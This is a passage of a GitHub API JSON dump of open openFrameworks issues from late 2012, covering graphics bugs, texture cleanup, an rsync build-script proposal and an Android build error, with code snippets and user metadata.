"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-12-26T12:58:23Z","updated_at":"2012-12-28T22:48:23Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I hope everyone agrees dilate and erode setting values...\r\n\r\nvoid ofxCvImage::erode(int value) {\r\n\tif( !bAllocated ){\r\n\t\tofLog(OF_LOG_ERROR, \"in erode, need to allocate image first\");\r\n\t\treturn;\t\t\r\n\t}\r\n\tcvErode( cvImage, cvImageTemp, 0, value );\r\n\tswapTemp();\r\n flagImageChanged();\r\n}\r\nvoid ofxCvImage::dilate(int value) {\r\n\tif( !bAllocated ){\r\n\t\tofLog(OF_LOG_ERROR, \"in dilate, need to allocate image first\");\r\n\t\treturn;\t\t\r\n\t}\r\n\tcvDilate( cvImage, cvImageTemp, 0, value );\r\n\tswapTemp();\r\n flagImageChanged();\r\n}\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1766","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1766/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1766/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1766/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1766","id":9476871,"number":1766,"title":"ofMesh draw wireframe with indices on IOS","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-12-21T21:56:10Z","updated_at":"2012-12-22T00:43:30Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"test code: \r\n\r\n ofEnableAlphaBlending();\r\n \r\n ofMesh temp;\r\n temp.setMode(OF_PRIMITIVE_TRIANGLES);\r\n \r\n temp.addVertex( ofPoint(200,500));\r\n temp.addVertex( ofPoint(300,500));\r\n temp.addVertex( ofPoint(250,550));\r\n temp.addVertex( ofPoint(300,550));\r\n temp.addVertex( ofPoint(250,600));\r\n \r\n temp.addIndex(0);\r\n temp.addIndex(1);\r\n temp.addIndex(2);\r\n \r\n temp.addIndex(1);\r\n temp.addIndex(2);\r\n temp.addIndex(3);\r\n \r\n temp.addIndex(2);\r\n temp.addIndex(3);\r\n temp.addIndex(4);\r\n \r\n ofSetColor(255,255,255, 60);\r\n \r\n temp.draw();\r\n \r\n ofSetColor(255,0,0);\r\n \r\n temp.drawWireframe();\r\n\r\nproduces odd output on IOS\r\n\r\n![Screen Shot 2012-12-21 at 4 52 23 PM](https://f.cloud.github.com/assets/142897/27977/0d410a5a-4bb9-11e2-904e-15467311fd05.png)\r\n\r\nvs desktop\r\n\r\n![Screen Shot 2012-12-21 at 4 52 39 PM](https://f.cloud.github.com/assets/142897/27978/17d47902-4bb9-11e2-9951-7b3b9a2ad68f.png)\r\n\r\nI've seen glitchier things w/ mesh.drawWireframe() on ios when the mesh has indices, this is just a simple test to show that something's not totally right. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1760","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1760/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1760/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1760/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1760","id":9381371,"number":1760,"title":"Include xcode project for building .framework on os x. ","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":1,"created_at":"2012-12-18T20:51:06Z","updated_at":"2013-02-11T12:12:38Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Would be useful for other projects which might use OF internally. \r\nWe would ship an xcode project which would compile and build a .framework. \r\n\r\nWhen we add 64 bit support we could have a 32bit and 64bit target . "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1759","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1759/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1759/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1759/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1759","id":9357318,"number":1759,"title":"glPushAttrib causing slow rendering of ofMesh","user":{"login":"NickHardeman","id":142694,"avatar_url":"https://secure.gravatar.com/avatar/4fc88ba881fee72fc4c5de473dc2ebbf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4fc88ba881fee72fc4c5de473dc2ebbf","url":"https://api.github.com/users/NickHardeman","html_url":"https://github.com/NickHardeman","followers_url":"https://api.github.com/users/NickHardeman/followers","following_url":"https://api.github.com/users/NickHardeman/following","gists_url":"https://api.github.com/users/NickHardeman/gists{/gist_id}","starred_url":"https://api.github.com/users/NickHardeman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/NickHardeman/subscriptions","organizations_url":"https://api.github.com/users/NickHardeman/orgs","repos_url":"https://api.github.com/users/NickHardeman/repos","events_url":"https://api.github.com/users/NickHardeman/events{/privacy}","received_events_url":"https://api.github.com/users/NickHardeman/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-12-18T04:39:24Z","updated_at":"2012-12-18T08:55:18Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"glPushAttrib appears to be slowing down rendering quite a bit.\r\nI have a considerable amount of box meshes that I am rendering perfectly fine at 60fps. I switched over to rendering a single ofMesh many times that only has 6 verts and it drops the frame rate in half.\r\n\r\nI am using OF 0073 official release, non-git version.\r\n\r\nWhen I comment out glPushAttrib in ofGLRenderer, it jumps back up to 60fps\r\n\r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofGLRenderer.cpp#L71-L76\r\n\r\nThoughts on addressing this issue?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1758","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1758/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1758/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1758/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1758","id":9325250,"number":1758,"title":"Xcode MacOSX - iOS use \"rysnc\" rather than \"cp\" when copying \"bin/data\" files","user":{"login":"danoli3","id":830748,"avatar_url":"https://secure.gravatar.com/avatar/b644be9646f09db836ef8e1339a7ed4e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b644be9646f09db836ef8e1339a7ed4e","url":"https://api.github.com/users/danoli3","html_url":"https://github.com/danoli3","followers_url":"https://api.github.com/users/danoli3/followers","following_url":"https://api.github.com/users/danoli3/following","gists_url":"https://api.github.com/users/danoli3/gists{/gist_id}","starred_url":"https://api.github.com/users/danoli3/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danoli3/subscriptions","organizations_url":"https://api.github.com/users/danoli3/orgs","repos_url":"https://api.github.com/users/danoli3/repos","events_url":"https://api.github.com/users/danoli3/events{/privacy}","received_events_url":"https://api.github.com/users/danoli3/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":3,"created_at":"2012-12-17T06:46:19Z","updated_at":"2013-02-28T07:11:23Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Rsync offers faster speed overall in build times when copying files over to the device or to the target.\r\nIt uses compressed transfers, checksum comparisons (so not re-copying the same unchanged files over and over again) and is even used by Xcode when transferring files linked in projects structure\r\n\r\nProposed change to Run Script:\r\nrsync -avz --exclude='.DS_Store' \"${SRCROOT}/bin/data/\" \"${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}\"\r\n\r\nManual page for Rsync:\r\nhttp://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man1/rsync.1.html\r\n\r\nThe current run script is:\r\ncp -rf bin/data/ \"$TARGET_BUILD_DIR/$PRODUCT_NAME.app\"\r\n\r\nManual page for cp:\r\nhttp://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man1/cp.1.html\r\n\r\n\r\nThis system still has the same problem as the \"cp\" command by not removing files in the target location that have been removed from the source directory. (Which can only currently be resolved by cleaning the project, or manually deleting the files in the app structure).\r\n\r\nRysnc does allow for you though to delete everything within the destination folder / app other than certain files and folders, so this could be adapted to not delete Xcode objects / folders however I think the clean method is okay for now.\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1756","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1756/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1756/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1756/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1756","id":9296156,"number":1756,"title":"ofTexture needs massive cleanup.","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/code-review","name":"code-review","color":"d7e102"}],"state":"open","assignee":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":0,"created_at":"2012-12-14T20:14:04Z","updated_at":"2013-02-11T12:12:37Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofTexture is still very arbitrary, messy and inconsistent. \r\n\r\nThere are some very strange things like:\r\n- isAllocate() and bAllocated()\r\n- ofSetMinMagFilters() which is immediate and doesn't actually write to variables\r\n- same with the global clamping methods. \r\n- a ton of static functions at the top of the cpp\r\n- too many #ifdef OPENGLES \r\n- duplicated allocate code \r\n- mipmaps only if texture compression is set ( should be sep ) \r\n- also no mipmaps for ES \r\n- supports arbitrary GL formats. we need a better way of handling a large number of formats. \r\n\r\nOutstanding ofTexture issues ( note this list doesn't mean we should implement all suggestions )\r\n#1696\r\n#228 \r\n#810\r\n#454\r\n#292\r\n#1175\r\n\r\nI'm going to take a stab at doing a major cleanup.\r\nWill add it as a PR once there is some stuff to review. \r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1753","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1753/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1753/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1753/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1753","id":9242589,"number":1753,"title":"ofMatrix4x4 getScale - possible bug","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-12-13T05:00:09Z","updated_at":"2012-12-14T09:03:21Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"hey, noticed some strange behaviour in ofMatrix4x4 when retrieving the matrix scale via getScale.\r\n\r\nso i have two matrices which im tweening/interpolating between.\r\non the two tween keyframes the matrices are correct... i know this because im rendering a sprite on each keyframe and the sprite is scaled correctly like im expecting it be.\r\n\r\nproblem occurs when im interpolating between the two keyframes.\r\ni get the scale for the keyframe matrices, interpolate the scale and then create another matrix with the interpolated scale... and things are looking dodgy. so it has to be something going wrong with either setting the scale on a matrix or getting the scale from the matrix.\r\n\r\ncurrently getScale is looking like this,\r\n\r\n`inline ofVec3f ofMatrix4x4::getScale() const {`\r\n`\tofVec3f x_vec(_mat[0][0], _mat[1][0], _mat[2][0]);`\r\n`\tofVec3f y_vec(_mat[0][1], _mat[1][1], _mat[2][1]);`\r\n`\tofVec3f z_vec(_mat[0][2], _mat[1][2], _mat[2][2]);`\r\n`\treturn ofVec3f(x_vec.length(), y_vec.length(), z_vec.length());`\r\n`}`\r\n\r\nbut when changing to this, im getting the expected result\r\n\r\n`inline ofVec3f ofMatrix4x4::getScale() const {`\r\n`\tofVec3f x_vec(_mat[0][0], _mat[0][1], _mat[0][2]);`\r\n`\tofVec3f y_vec(_mat[1][0], _mat[1][1], _mat[1][2]);`\r\n`\tofVec3f z_vec(_mat[2][0], _mat[2][1], _mat[2][2]);`\r\n`\treturn ofVec3f(x_vec.length(), y_vec.length(), z_vec.length());`\r\n`}`\r\n\r\nbug?\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1748","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1748/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1748/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1748/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1748","id":9176471,"number":1748,"title":"the deprecation macros break the documentation","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-12-11T11:28:19Z","updated_at":"2012-12-12T11:12:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"doxygen can't parse that kind of macro correctly so those functions break the docs.\r\n\r\nby now i've just removed everything deprecated "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1746","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1746/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1746/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1746/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1746","id":9174429,"number":1746,"title":"New Android Application: cp: cannot stat `bin/OFActivity-debug.apk': No such file or directory","user":{"login":"MinaSamy","id":1730084,"avatar_url":"https://secure.gravatar.com/avatar/b1e6404b0066c34f91df1c5a0c4b140d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b1e6404b0066c34f91df1c5a0c4b140d","url":"https://api.github.com/users/MinaSamy","html_url":"https://github.com/MinaSamy","followers_url":"https://api.github.com/users/MinaSamy/followers","following_url":"https://api.github.com/users/MinaSamy/following","gists_url":"https://api.github.com/users/MinaSamy/gists{/gist_id}","starred_url":"https://api.github.com/users/MinaSamy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MinaSamy/subscriptions","organizations_url":"https://api.github.com/users/MinaSamy/orgs","repos_url":"https://api.github.com/users/MinaSamy/repos","events_url":"https://api.github.com/users/MinaSamy/events{/privacy}","received_events_url":"https://api.github.com/users/MinaSamy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"state":"open","assignee":null,"milestone":null,"comments":14,"created_at":"2012-12-11T10:04:14Z","updated_at":"2013-01-03T19:08:19Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I receive an error when I create a new android project then try to run it.\r\nthe steps I followed are:\r\n\r\n1-Creat: a new Android application by copying an existing project from the examples.\r\n2-Change the default package name to: cc.openframeworks.[your app name]\r\n3-Rename the package from eclipse.\r\n4-run android.bat update command to update the build.xml and local.properties\r\n4-The application is built successfully and libraries are generated in the libs folder.\r\n\r\nWhen I run using AndroidInstall I receive the following error:\r\nBUILD SUCCESSFUL\r\nTotal time: 13 seconds\r\ncp bin/OFActivity-debug.apk bin/androidTest.apk\r\ncp: cannot stat `bin/OFActivity-debug.apk': No such file or directory\r\nmake: *** [AndroidInstall] Error 1\r\n\r\nwhat can be wrong here ?\r\n\r\nUPDATE:\r\nafter investigating the make files, I believe it has something to do with the Makefile.android in the libs/openFrameworksCompiled/projet/makefileCommmon directory\r\nstarting from line 162:\r\n\r\nif [ -f obj/$(BIN_NAME) ]; then rm obj/$(BIN_NAME); fi\r\n\t#touch AndroidManifest.xml\r\n\tif [ \"$(shell uname)\" = \"MINGW32_NT-6.1\" ]; then \\\r\n\tcmd //c $(SDK_ROOT)/tools/android.bat update project --target $(NDK_PLATFORM) --path $(PROJECT_PATH); \\\r\n\telse \\\r\n\t$(SDK_ROOT)/tools/android update project --target $(NDK_PLATFORM) --path $(PROJECT_PATH); \\\r\n\tfi\r\n\tif [ -d bin/classes ]; then rm -r bin/classes; fi\r\n\tif [ -d bin/res ]; then rm -r bin/res; fi\r\n\tif [ -f bin/classes.dex ]; then rm bin/classes.dex; fi\r\n\tif [ -f bin/classes.dex.d ]; then rm 